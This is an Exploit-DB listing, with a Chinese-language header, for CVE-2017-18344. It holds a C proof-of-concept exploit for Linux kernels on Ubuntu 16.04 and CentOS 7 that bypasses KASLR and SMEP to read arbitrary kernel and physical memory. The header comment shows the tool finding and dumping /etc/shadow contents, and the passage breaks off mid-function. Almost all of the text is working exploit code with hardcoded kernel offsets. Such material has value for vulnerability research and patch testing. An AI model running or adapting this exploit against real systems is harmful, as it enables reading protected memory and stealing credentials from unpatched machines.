标题: Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read EDB-ID: 45175 CVE: 2017-18344. 类型: LOCAL 平台: LINUX 发布日期: 2018-08-09 漏洞利用脚本: // A proof-of-concept exploit for CVE-2017-18344.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// No support for 1 GB pages or 5 level page tables.
// Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic
// and on CentOS 7 3.10.0-862.9.1.el7.x86_64.
//
// gcc pwn.c -o pwn
//
// $ ./pwn search 'root:!:'
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error:     ffffffffad6017b0
// [.] kernel text:      ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap:          ffff8d40c0000000
// [.] task->mm->pgd:    ffffffffade0a000
// [.] searching [0000000000000000, 00000000f524d000) for 'root:!:':
// [.] now at 0000000000000000
// [.] now at 0000000002000000
// [.] now at 0000000004000000
// ...
// [.] now at 000000008c000000
// [.] now at 000000008e000000
// [.] now at 0000000090000000
// [+] found at 0000000090ff3000
// [+] done
//
// $ ./pwn phys 0000000090ff3000 1000 shadow
// [.] setting up proc reader
// [~] done
// [.] checking /proc/cpuinfo
// [~] looks good
// [.] setting up timer
// [~] done
// [.] finding leak pointer address
// [+] done: 000000022ca45b60
// [.] mapping leak pointer page
// [~] done
// [.] divide_error:     ffffffffad6017b0
// [.] kernel text:      ffffffffacc00000
// [.] page_offset_base: ffffffffade48a90
// [.] physmap:          ffff8d40c0000000
// [.] task->mm->pgd:    ffffffffade0a000
// [.] dumping physical memory [0000000090ff3000, 0000000090ff4000):
// [+] done
//
// $ cat shadow 
// root:!:17612:0:99999:7:::
// daemon:*:17590:0:99999:7:::
// bin:*:17590:0:99999:7:::
// ...
// saned:*:17590:0:99999:7:::
// usbmux:*:17590:0:99999:7:::
// user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7:::
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/syscall.h>
#include <sys/types.h>

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define DEBUG 0

// CentOS 7 3.10.0-862.9.1.el7.x86_64
#define KERNEL_START   0xffffffff81000000ul
#define O_DIVIDE_ERROR   (0xffffffff81723a40ul - KERNEL_START)
#define O_INIT_TASK   (0xffffffff81c16480ul - KERNEL_START)
#define O_INIT_MM   (0xffffffff81c914a0ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE  (0xffffffff81c41440ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS  1072
#define O_TASK_STRUCT_MM  1128
#define O_TASK_STRUCT_PID  1188
#define O_MM_STRUCT_MMAP  0
#define O_MM_STRUCT_PGD   88
#define O_VM_AREA_STRUCT_VM_START 0
#define O_VM_AREA_STRUCT_VM_END  8
#define O_VM_AREA_STRUCT_VM_NEXT 16
#define O_VM_AREA_STRUCT_VM_FLAGS 80

#if 0
// Ubuntu xenial 4.4.0-116-generic
#define KERNEL_START   0xffffffff81000000ul
#define O_DIVIDE_ERROR   (0xffffffff81851240ul - KERNEL_START)
#define O_INIT_TASK   (0xffffffff81e13500ul - KERNEL_START)
#define O_INIT_MM   (0xffffffff81e73c80ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE  0
#define O_TASK_STRUCT_TASKS  848
#define O_TASK_STRUCT_MM  928
#define O_TASK_STRUCT_PID  1096
#define O_MM_STRUCT_MMAP  0
#define O_MM_STRUCT_PGD   64
#define O_VM_AREA_STRUCT_VM_START 0
#define O_VM_AREA_STRUCT_VM_END  8
#define O_VM_AREA_STRUCT_VM_NEXT 16
#define O_VM_AREA_STRUCT_VM_FLAGS 80
#endif

#if 0
// Ubuntu xenial 4.13.0-38-generic
#define KERNEL_START   0xffffffff81000000ul
#define O_DIVIDE_ERROR   (0xffffffff81a017b0ul - KERNEL_START)
#define O_INIT_TASK   (0xffffffff82212480ul - KERNEL_START)
#define O_INIT_MM   (0xffffffff82302760ul - KERNEL_START)
#define O_PAGE_OFFSET_BASE  (0xffffffff82248a90ul - KERNEL_START)
#define O_TASK_STRUCT_TASKS  2048
#define O_TASK_STRUCT_MM  2128
#define O_TASK_STRUCT_PID  2304
#define O_MM_STRUCT_MMAP  0
#define O_MM_STRUCT_PGD   80
#define O_VM_AREA_STRUCT_VM_START 0
#define O_VM_AREA_STRUCT_VM_END  8
#define O_VM_AREA_STRUCT_VM_NEXT 16
#define O_VM_AREA_STRUCT_VM_FLAGS 80
#endif

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#ifndef SYS_memfd_create
#define SYS_memfd_create 319
#endif

#ifndef O_PATH
#define O_PATH   010000000
#endif

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define PAGE_SHIFT  12
#define PAGE_SIZE  (1ul << PAGE_SHIFT)
#define PAGE_MASK  (~(PAGE_SIZE - 1))

#define HUGE_PAGE_SHIFT  21
#define HUGE_PAGE_SIZE  (1ul << HUGE_PAGE_SHIFT)
#define HUGE_PAGE_MASK  (~(HUGE_PAGE_SIZE - 1))

#define TASK_SIZE  (1ul << 47)
#define PAGE_OFFSET_BASE 0xffff880000000000ul

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define LOG_INFO 1
#define LOG_DEBUG 2

#define log(level, format, args...)     \
 do {        \
  if (level == LOG_INFO)     \
   printf(format, ## args);   \
  else       \
   fprintf(stderr, format, ## args);  \
 } while(0)

#define info(format, args...) log(LOG_INFO, format, ## args)

#if (DEBUG >= 1)
#define debug1(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug1(format, args...)
#endif

#if (DEBUG >= 2)
#define debug2(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug2(format, args...)
#endif

#define min(x, y) ((x) < (y) ? (x) : (y))

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static void print_chunk(int level, unsigned long src_addr, char *buffer,
    int len, int chunk_size) {
 int i;

 assert(len <= chunk_size);

 log(level, "%016lx: ", src_addr);
 for (i = 0; i < len; i++)
  log(level, "%02hx ", (unsigned char)buffer[i]);
 for (i = len; i < chunk_size; i++)
  log(level, "   ");

 log(level, "  ");

 for (i = 0; i < len; i++) {
  if (isalnum(buffer[i]))
   log(level, "%c", buffer[i]);
  else
   log(level, ".");
 }

 log(level, "\n");
}

static void print_bytes(int level, unsigned long src_addr, char *buffer,
    int len) {
 int chunk_size = 16;
 assert(chunk_size % 2 == 0);

 int chunk;
 for (chunk = 0; chunk < len / chunk_size; chunk++)
  print_chunk(level, src_addr + chunk * chunk_size,
   &buffer[chunk * chunk_size], chunk_size, chunk_size);

 int rem = len % chunk_size;
 if (rem != 0)
  print_chunk(level, src_addr + len - rem,
   &buffer[len - rem], rem, chunk_size);
}


// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define MIN_KERNEL_BASE 0xffffffff81000000ul
#define MAX_KERNEL_BASE 0xffffffffff000000ul
#define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB

#define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)
#define MMAP_ADDR_START 0x200000000ul
#define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN)

#define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8)
// == 0x4fe00000

#define MAX_MAPPINGS 1024
#define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static struct proc_reader g_proc_reader;
static unsigned long g_leak_ptr_addr = 0;

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define PROC_INITIAL_SIZE 1024
#define PROC_CHUNK_SIZE 1024

struct proc_reader {
 char *buffer;
 int buffer_size;
 int read_size;
};

static void proc_init(struct proc_reader* pr) {
 debug2("proc_init: %016lx\n", pr);

 pr->buffer = malloc(PROC_INITIAL_SIZE);
 if (pr->buffer == NULL) {
  perror("[-] proc_init: malloc()");
  exit(EXIT_FAILURE);
 }
 pr->buffer_size = PROC_INITIAL_SIZE;
 pr->read_size = 0;

 debug2("proc_init = void\n");
}

static void proc_ensure_size(struct proc_reader* pr, int size) {
 if (pr->buffer_size >= size)
  return;
 while (pr->buffer_size < size)
  pr->buffer_size <<= 1;
 pr->buffer = realloc(pr->buffer, pr->buffer_size);
 if (pr->buffer == NULL) {
  perror("[-] proc_ensure_size: realloc()");
  exit(EXIT_FAILURE);
 }
}

static int proc_read(struct proc_reader* pr, const char *file) {
 debug2("proc_read: file: %s, pr->buffer_size: %d\n",
   file, pr->buffer_size);

 int fd = open(file, O_RDONLY);
 if (fd == -1) {
  perror("[-] proc_read: open()");
  exit(EXIT_FAILURE);
 }

 pr->read_size = 0;
 while (true) {
  proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);
  int bytes_read = read(fd, &pr->buffer[pr->read_size],
     PROC_CHUNK_SIZE);
  if (bytes_read == -1) {
   perror("[-] read(proc)");
   exit(EXIT_FAILURE);
  }
  pr->read_size += bytes_read;
  if (bytes_read < PROC_CHUNK_SIZE)
   break;
 }

 close(fd);

 debug2("proc_read = %d\n", pr->read_size);
 return pr->read_size;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

typedef union k_sigval {
 int sival_int;
 void *sival_ptr;
} k_sigval_t;

#define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t))
#define SIGEV_MAX_SIZE 64
#define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \
    / sizeof(int))

typedef struct k_sigevent {
 k_sigval_t sigev_value;
 int sigev_signo;
 int sigev_notify;
 union {
  int _pad[SIGEV_PAD_SIZE];
  int _tid;

  struct {
   void (*_function)(sigval_t);
   void *_attribute;
  } _sigev_thread;
 } _sigev_un;
} k_sigevent_t;

static void leak_setup() {
 k_sigevent_t se;
 memset(&se, 0, sizeof(se));
 se.sigev_signo = SIGRTMIN;
 se.sigev_notify = OPTIMAL_PTR_OFFSET;
 timer_t timerid = 0;

 int rv = syscall(SYS_timer_create, CLOCK_REALTIME,
    (void *)&se, &timerid);
 if (rv != 0) {
  perror("[-] timer_create()");
  exit(EXIT_FAILURE);
 }
}

static void leak_parse(char *in, int in_len, char **start, char **end) {
 const char *needle = "notify: ";
 *start = memmem(in, in_len, needle, strlen(needle));
 assert(*start != NULL);
 *start += strlen(needle);

 assert(in_len > 0);
 assert(in[in_len - 1] == '\n');
 *end = &in[in_len - 2];
 while (*end > in && **end != '\n')
  (*end)--;
 assert(*end > in);
 while (*end > in && **end != '/')
  (*end)--;
 assert(*end > in);
 assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');

 assert(*end >= *start);
}

static void leak_once(char **start, char **end) {
 int read_size = proc_read(&g_proc_reader, "/proc/self/timers");
 leak_parse(g_proc_reader.buffer, read_size, start, end);
}

static int leak_once_and_copy(char *out, int out_len) {
 assert(out_len > 0);

 char *start, *end;
 leak_once(&start, &end);

 int size = min(end - start, out_len);
 memcpy(out, start, size);

 if (size == out_len)
  return size;

 out[size] = 0;
 return size + 1;
}

static void leak_range(unsigned long addr, size_t length, char *out) {
 size_t total_leaked = 0;
 while (total_leaked < length) {
  unsigned long addr_to_leak = addr + total_leaked;
  *(unsigned long *)g_leak_ptr_addr = addr_to_leak;
  debug2("leak_range: offset %ld, addr: %lx\n",
   total_leaked, addr_to_leak);
  int leaked = leak_once_and_copy(out + total_leaked,
   length - total_leaked);
  total_leaked += leaked;
 }
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static void mmap_fixed(unsigned long addr, size_t size) {
 void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,
   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 if (rv != (void *)addr) {
  perror("[-] mmap()");
  exit(EXIT_FAILURE);
 }
}

static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,
   unsigned long end) {
 int page_size = PAGE_SIZE;
 assert(fd_size % page_size == 0);
 assert(start % page_size == 0);
 assert(end % page_size == 0);
 assert((end - start) % fd_size == 0);

 debug1("mmap_fd_over: [%lx, %lx)\n", start, end);

 unsigned long addr;
 for (addr = start; addr < end; addr += fd_size) {
  void *rv = mmap((void *)addr, fd_size, PROT_READ,
    MAP_FIXED | MAP_PRIVATE, fd, 0);
  if (rv != (void *)addr) {
   perror("[-] mmap()");
   exit(EXIT_FAILURE);
  }
 }

 debug1("mmap_fd_over = void\n");
}

static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,
   unsigned long end) {
 int rv = munmap((void *)start, end - start);
 if (rv != 0) {
  perror("[-] munmap()");
  exit(EXIT_FAILURE);
 }
 mmap_fd_over(fd, fd_size, start, end);
}

#define MEMFD_CHUNK_SIZE 0x1000

static int create_filled_memfd(const char *name, unsigned long size,
    unsigned long value) {
 int i;
 char buffer[MEMFD_CHUNK_SIZE];

 assert(size % MEMFD_CHUNK_SIZE == 0);

 int fd = syscall(SYS_memfd_create, name, 0);
 if (fd < 0) {
  perror("[-] memfd_create()");
  exit(EXIT_FAILURE);
 }

 for (i = 0; i < sizeof(buffer) / sizeof(value); i++)
  *(unsigned long *)&buffer[i * sizeof(value)] = value;

 for (i = 0; i < size / sizeof(buffer); i++) {
  int bytes_written = write(fd, &buffer[0], sizeof(buffer));
  if (bytes_written != sizeof(buffer)) {
   perror("[-] write(memfd)");
   exit(EXIT_FAILURE);
  }
 }

 return fd;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static const char *evil = "evil";
static const char *good = "good";

static bool bisect_probe() {
 char *start, *end;
 leak_once(&start, &end);
 return *start == 'g';
}

static unsigned long bisect_via_memfd(unsigned long fd_size,
    unsigned long start, unsigned long end) {
 assert((end - start) % fd_size == 0);

 int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);
 int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);

 unsigned long left = 0;
 unsigned long right = (end - start) / fd_size;

 while (right - left > 1) {
  unsigned long middle = left + (right - left) / 2;
  remap_fd_over(fd_evil, fd_size, start + left * fd_size,
    start + middle * fd_size);
  remap_fd_over(fd_good, fd_size, start + middle * fd_size,
    start + right * fd_size);
  bool probe = bisect_probe();
  if (probe)
   left = middle;
  else
   right = middle;
 }

 int rv = munmap((void *)start, end - start);
 if (rv != 0) {
  perror("[-] munmap()");
  exit(EXIT_FAILURE);
 }

 close(fd_evil);
 close(fd_good);

 return start + left * fd_size;
}

static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {
 int word_size = sizeof(unsigned long);

 assert((end - start) % word_size == 0);
 assert((end - start) % PAGE_SIZE == 0);

 mmap_fixed(start, end - start);

 unsigned long left = 0;
 unsigned long right = (end - start) / word_size;

 while (right - left > 1) {
  unsigned long middle = left + (right - left) / 2;
  unsigned long a;
  for (a = left; a < middle; a++)
   *(unsigned long *)(start + a * word_size) =
    (unsigned long)evil;
  for (a = middle; a < right; a++)
   *(unsigned long *)(start + a * word_size) =
    (unsigned long)good;
  bool probe = bisect_probe();
  if (probe)
   left = middle;
  else
   right = middle;
 }

 int rv = munmap((void *)start, end - start);
 if (rv != 0) {
  perror("[-] munmap()");
  exit(EXIT_FAILURE);
 }

 return start + left * word_size;
}

static unsigned long bisect_leak_ptr_addr() {
 unsigned long addr = bisect_via_memfd(
   MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);
 debug1("%lx %lx\n", addr, addr + MEMFD_SIZE);
 addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);
 debug1("%lx %lx\n", addr, addr + PAGE_SIZE);
 addr = bisect_via_assign(addr, addr + PAGE_SIZE);
 debug1("%lx\n", addr);
 return addr;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define CPUINFO_SMEP 1
#define CPUINFO_SMAP 2
#define CPUINFO_KAISER 4
#define CPUINFO_PTI 8

static int cpuinfo_scan() {
 int length = proc_read(&g_proc_reader, "/proc/cpuinfo");
 char *buffer = &g_proc_reader.buffer[0];
 int rv = 0;
 char* found = memmem(buffer, length, "smep", 4);
 if (found != NULL)
  rv |= CPUINFO_SMEP;
 found = memmem(buffer, length, "smap", 4);
 if (found != NULL)
  rv |= CPUINFO_SMAP;
 found = memmem(buffer, length, "kaiser", 4);
 if (found != NULL)
  rv |= CPUINFO_KAISER;
 found = memmem(buffer, length, " pti", 4);
 if (found != NULL)
  rv |= CPUINFO_PTI;
 return rv;
}

static void cpuinfo_check() {
 int rv = cpuinfo_scan();
 if (rv & CPUINFO_SMAP) {
  info("[-] SMAP detected, no bypass available, aborting\n");
  exit(EXIT_FAILURE);
 }
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static void arbitrary_read_init() {
 info("[.] setting up proc reader\n");
 proc_init(&g_proc_reader);
 info("[~] done\n");

 info("[.] checking /proc/cpuinfo\n");
 cpuinfo_check();
 info("[~] looks good\n");

 info("[.] setting up timer\n");
 leak_setup();
 info("[~] done\n");

 info("[.] finding leak pointer address\n");
 g_leak_ptr_addr = bisect_leak_ptr_addr();
 info("[+] done: %016lx\n", g_leak_ptr_addr);

 info("[.] mapping leak pointer page\n");
 mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);
 info("[~] done\n");
}

static void read_range(unsigned long addr, size_t length, char *buffer) {
 leak_range(addr, length, buffer);
}

static uint64_t read_8(unsigned long addr) {
 uint64_t result;
 read_range(addr, sizeof(result), (char *)&result);
 return result;
}

static uint32_t read_4(unsigned long addr) {
 uint32_t result;
 read_range(addr, sizeof(result), (char *)&result);
 return result;
}

static uint64_t read_field_8(unsigned long addr, int offset) {
 return read_8(addr + offset);
}

static uint64_t read_field_4(unsigned long addr, int offset) {
 return read_4(addr + offset);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

struct idt_register {
 uint16_t length;
 uint64_t base;
} __attribute__((packed));

struct idt_gate {
 uint16_t offset_1; // bits 0..15
 uint32_t shit_1;
 uint16_t offset_2; // bits 16..31
 uint32_t offset_3; // bits 32..63
 uint32_t shit_2;
} __attribute__((packed));

static uint64_t idt_gate_addr(struct idt_gate *gate) {
 uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +
  ((uint64_t)gate->offset_3 << 32);
 return addr;
}

static void get_idt(struct idt_register *idtr) {
 asm ( "sidt %0" : : "m"(*idtr) );
 debug1("get_idt_base: base: %016lx, length: %d\n",
   idtr->base, idtr->length);
}

static void print_idt(int entries) {
 char buffer[4096];
 struct idt_register idtr;
 int i;

 get_idt(&idtr);
 assert(idtr.length <= sizeof(buffer));
 read_range(idtr.base, idtr.length, &buffer[0]);

 info("base: %016lx, length: %d\n", idtr.base,
   (int)idtr.length);

 entries = min(entries, idtr.length / sizeof(struct idt_gate));
 for (i = 0; i < entries; i++) {
  struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
  uint64_t addr = idt_gate_addr(gate);
  info("gate #%03d: %016lx\n", i, addr);
 }
}

static uint64_t read_idt_gate(int i) {
 char buffer[4096];
 struct idt_register idtr;

 get_idt(&idtr);
 assert(idtr.length <= sizeof(buffer));
 assert(i <= idtr.length / sizeof(struct idt_gate));
 read_range(idtr.base, idtr.length, &buffer[0]);

 struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
 uint64_t addr = idt_gate_addr(gate);
 return addr;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define PTRS_PER_PGD  512
#define PTRS_PER_PUD  512
#define PTRS_PER_PMD  512
#define PTRS_PER_PTE  512

#define PGD_SHIFT  39
#define PUD_SHIFT  30
#define PMD_SHIFT  21

#define pgd_index(addr)  (((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1))
#define pud_index(addr)  (((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1))
#define pmd_index(addr)  (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1))
#define pte_index(addr)  (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1))

#define _PAGE_BIT_PRESENT 0
#define _PAGE_BIT_ACCESSED 5
#define _PAGE_BIT_DIRTY  6
#define _PAGE_BIT_PSE  7
#define _PAGE_BIT_GLOBAL 8
#define _PAGE_BIT_PROTNONE _PAGE_BIT_GLOBAL

#define _PAGE_PRESENT  (1ul << _PAGE_BIT_PRESENT)
#define _PAGE_ACCESSED  (1ul << _PAGE_BIT_ACCESSED)
#define _PAGE_DIRTY  (1ul << _PAGE_BIT_DIRTY)
#define _PAGE_PSE  (1ul << _PAGE_BIT_PSE)
#define _PAGE_PROTNONE  (1ul << _PAGE_BIT_PROTNONE)
#define _PAGE_KNL_ERRATUM_MASK (_PAGE_DIRTY | _PAGE_ACCESSED)

#define pgd_none(value)  ((value) == 0)
#define pud_none(value)  (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define pmd_none(value)  (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
#define pte_none(value)  (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)

#define __PHYSICAL_MASK_SHIFT 52
#define __PHYSICAL_MASK  ((1ul << __PHYSICAL_MASK_SHIFT) - 1)
#define PHYSICAL_PAGE_MASK (PAGE_MASK & __PHYSICAL_MASK)
#define PTE_PFN_MASK  (PHYSICAL_PAGE_MASK)
#define PTE_FLAGS_MASK  (~PTE_PFN_MASK)

#define pgd_flags(value) (value & PTE_FLAGS_MASK)
#define pud_flags(value) (value & PTE_FLAGS_MASK)
#define pmd_flags(value) (value & PTE_FLAGS_MASK)
#define pte_flags(value) (value & PTE_FLAGS_MASK)

#define pgd_present(value) (pgd_flags(value) & _PAGE_PRESENT)
#define pud_present(value) (pud_flags(value) & _PAGE_PRESENT)
#define pmd_present(value) (pmd_flags(value) & (_PAGE_PRESENT | \
     _PAGE_PROTNONE | _PAGE_PSE))
#define pte_present(value) (pte_flags(value) & (_PAGE_PRESENT | \
     _PAGE_PROTNONE))

struct pte_entry {
 unsigned long  addr;
 unsigned long  entries[PTRS_PER_PTE];
};

struct pmd_entry {
 unsigned long  addr;
 struct {
  bool    huge;
  union {
   struct pte_entry *pte;
   unsigned long  phys;
  };
 }   entries[PTRS_PER_PMD];
};

struct pud_entry {
 unsigned long  addr;
 struct pmd_entry *entries[PTRS_PER_PUD];
};

struct pgd_entry {
 unsigned long  addr;
 struct pud_entry *entries[PTRS_PER_PGD];
};

struct ptsc {
 unsigned long  physmap;
 struct pgd_entry entry;
};

static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) {
 struct pte_entry *entry = malloc(sizeof(*entry));
 if (!entry) {
  perror("[-] malloc()");
  exit(EXIT_FAILURE);
 }
 entry->addr = addr;
 memset(&entry->entries[0], 0, sizeof(entry->entries));
 return entry;
}

static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) {
 struct pmd_entry *entry = malloc(sizeof(*entry));
 if (!entry) {
  perror("[-] malloc()");
  exit(EXIT_FAILURE);
 }
 entry->addr = addr;
 memset(&entry->entries[0], 0, sizeof(entry->entries));
 return entry;
}

static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) {
 struct pud_entry *entry = malloc(sizeof(*entry));
 if (!entry) {
  perror("[-] malloc()");
  exit(EXIT_FAILURE);
 }
 entry->addr = addr;
 memset(&entry->entries[0], 0, sizeof(entry->entries));
 return entry;
}

static void ptsc_init(struct ptsc* ptsc, unsigned long physmap,
    unsigned long pgd) {
 ptsc->physmap = physmap;
 ptsc->entry.addr = pgd;
 memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries));
}

static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc,
      unsigned long addr) {
 struct pgd_entry *pgd_e;
 struct pud_entry *pud_e;
 struct pmd_entry *pmd_e;
 struct pte_entry *pte_e;
 unsigned long phys_a;
 int index;

 debug1("looking up phys addr for %016lx:\n", addr);

 pgd_e = &ptsc->entry;

 index = pgd_index(addr);
 debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index);
 if (!pgd_e->entries[index]) {
  unsigned long pgd_v = read_8(
   pgd_e->addr + index * sizeof(unsigned long));
  debug1("   -> %016lx\n", pgd_v);
  if (pgd_none(pgd_v)) {
   debug1(" not found, pgd is none\n");
   return 0;
  }
  if (!pgd_present(pgd_v)) {
   debug1(" not found, pgd is not present\n");
   return 0;
  }
  unsigned long pud_a =
   ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK);
  pud_e = ptsc_alloc_pud_entry(pud_a);
  pgd_e->entries[index] = pud_e;
 }
 pud_e = pgd_e->entries[index];

 index = pud_index(addr);
 debug1(" pud: %016lx, index: %d\n", pud_e->addr, index);
 if (!pud_e->entries[index]) {
  unsigned long pud_v = read_8(
   pud_e->addr + index * sizeof(unsigned long));
  debug1("   -> %016lx\n", pud_v);
  if (pud_none(pud_v)) {
   debug1(" not found, pud is none\n");
   return 0;
  }
  if (!pud_present(pud_v)) {
   debug1(" not found, pud is not present\n");
   return 0;
  }
  unsigned long pmd_a =
   ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK);
  pmd_e = ptsc_alloc_pmd_entry(pmd_a);
  pud_e->entries[index] = pmd_e;
 }
 pmd_e = pud_e->entries[index];

 index = pmd_index(addr);
 debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index);
 if (!pmd_e->entries[index].pte) {
  unsigned long pmd_v = read_8(
   pmd_e->addr + index * sizeof(unsigned long));
  debug1("   -> %016lx\n", pmd_v);
  if (pmd_none(pmd_v)) {
   debug1(" not found, pmd is none\n");
   return 0;
  }
  if (!pmd_present(pmd_v)) {
   debug1(" not found, pmd is not present\n");
   return 0;
  }
  if (pmd_flags(pmd_v) & _PAGE_PSE) {
   phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) +
     (addr & ~HUGE_PAGE_MASK);
   pmd_e->entries[index].phys = phys_a;
   pmd_e->entries[index].huge = true;
  } else {
   unsigned long pte_a =
    ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK);
   pte_e = ptsc_alloc_pte_entry(pte_a);
   pmd_e->entries[index].pte = pte_e;
   pmd_e->entries[index].huge = false;
  }
 }

 if (pmd_e->entries[index].huge) {
  debug1(" phy: %016lx (huge)\n", phys_a);
  return pmd_e->entries[index].phys;
 }

 pte_e = pmd_e->entries[index].pte;

 index = pte_index(addr);
 debug1(" pte: %016lx, index: %d\n", pte_e->addr, index);
 if (!pte_e->entries[index]) {
  unsigned long pte_v = read_8(
   pte_e->addr + index * sizeof(unsigned long));
  debug1("   -> %016lx\n", pte_v);
  if (pte_none(pte_v)) {
   debug1(" not found, pte is none\n");
   return 0;
  }
  if (!pte_present(pte_v)) {
   debug1(" not found, pte is not present\n");
   return 0;
  }
  phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) +
    (addr & ~PAGE_MASK);
  pte_e->entries[index] = phys_a;
 }
 phys_a = pte_e->entries[index];

 return phys_a;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) {
 unsigned long cur_task = init_task;
 
 while (true) {
  unsigned cur_pid =
   read_field_4(cur_task, O_TASK_STRUCT_PID);
  if (cur_pid == pid)
   return cur_task;
  unsigned long task_next_ptr =
   read_field_8(cur_task, O_TASK_STRUCT_TASKS);
  cur_task = task_next_ptr - O_TASK_STRUCT_TASKS;
  if (cur_task == init_task)
   return 0;
 }
}

#define MAX_MMAPS_PER_TASK 512

struct mmap_entry {
 unsigned long start;
 unsigned long end;
 unsigned flags;
};

typedef void (*mmap_callback)(struct mmap_entry *entry, void *private);

static void for_each_mmap_from(unsigned long mmap, mmap_callback callback,
    void *private) {
 struct mmap_entry entries[MAX_MMAPS_PER_TASK];
 int i, count;

 count = 0;
 while (mmap != 0) {
  assert(count < MAX_MMAPS_PER_TASK);
